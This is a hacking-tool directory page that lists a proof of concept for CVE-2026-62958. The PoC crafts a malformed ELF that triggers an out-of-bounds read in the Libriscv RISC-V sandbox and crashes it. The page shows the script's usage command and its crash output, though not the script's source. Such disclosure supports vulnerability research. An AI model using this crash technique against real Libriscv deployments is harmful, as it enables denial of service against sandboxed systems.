Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-62958 — Proof-of-concept for CVE-2026-62958: crafts a malformed ELF to trigger an out-of-bounds read in Libriscv and crash the sandbox with SIGSEGV. | Kitploit
Tools/GitHubGitHub/0linear/cve-2026-62958
Memory ForensicsVulnerability AnalysisExploitationFuzzingBinary Exploitation
GitHub0linear/cve-2026-62958

CVE-2026-62958

Proof-of-concept for CVE-2026-62958: crafts a malformed ELF to trigger an out-of-bounds read in Libriscv and crash the sandbox with SIGSEGV.

View Repository
522 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

A vulnerability in Libriscv allows the attacker to crash the sandbox using an Out of Bounds Read.

To create Bad elf:

root@kitploit:~
python3 poc.py samplefile poisoned_file

Results:

root@kitploit:~
❯ python3 poc.py fib poisoned_file
Manipulating .text section header at offset 0x250
Manipulating .symtab section header at offset 0x710
❯ ./rvlinux poisoned_file 
fish: Job 1, './rvlinux poisoned_file' terminated by signal SIGSEGV (Address boundary error)
Download Tool